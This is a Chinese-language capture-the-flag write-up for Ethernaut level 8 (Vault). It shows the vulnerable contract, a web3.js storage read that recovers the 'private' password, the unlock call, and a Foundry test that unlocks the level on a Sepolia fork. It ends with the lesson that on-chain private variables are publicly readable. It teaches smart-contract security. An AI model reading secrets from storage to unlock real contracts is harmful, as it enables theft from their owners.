# Ethernaut CTF Level 8 - Vault
## 題目
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
```
<br>
## 分析
所有資訊都是在鏈上,也包含Password
我們可以使用 `web3.js` 得到存在鏈上的資訊
<br>
## 攻擊
```javascript
web3.eth.getStorageAt(instance, 1).then(web3.utils.toAscii)
"A very strong secret password :)"
```

<br>
```javascript=
await contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29")
// A very strong secret password :)
await contract.locked()
```
<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/08-Vault/Vault.sol";
contract ContractTest is Test {
Vault level8 = Vault(payable(0xc50410190937fd733E11938Bd32491999079cf76));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0xc50410190937fd733E11938Bd32491999079cf76),
"Ethernaut08"
);
}
function testEthernaut08() public {
// cast storage 0xc50410190937fd733E11938Bd32491999079cf76 1 --rpc-url https://rpc.ankr.com/eth_sepolia
bytes32 password = 0x412076657279207374726f6e67207365637265742070617373776f7264203a29;
level8.unlock(password);
assert(level8.locked() == false);
}
receive() external payable {}
}
```
<br>
## 補充
From Ethernaut
一定請記住!將一個變數設成私用變數(private variable),只能保證這個變數不被其他合約存取。設成私用的(private)狀態變數和本地變數,還是可以被公開的存取(publicly access)。
為了確保資料的隱私,資料在上鏈前需要被加密。在這種情況下,密鑰絕對不可以被送到鏈上,不然隨便一個有心人都可以輕易取得密鑰,這樣你的資料隱私就會蕩然無存。zk-SNARKs 提供了一個可以驗證是否某使用者 A 有某一個秘密(secret)的方法,但是驗證的過程中又不需要揭露這個秘密。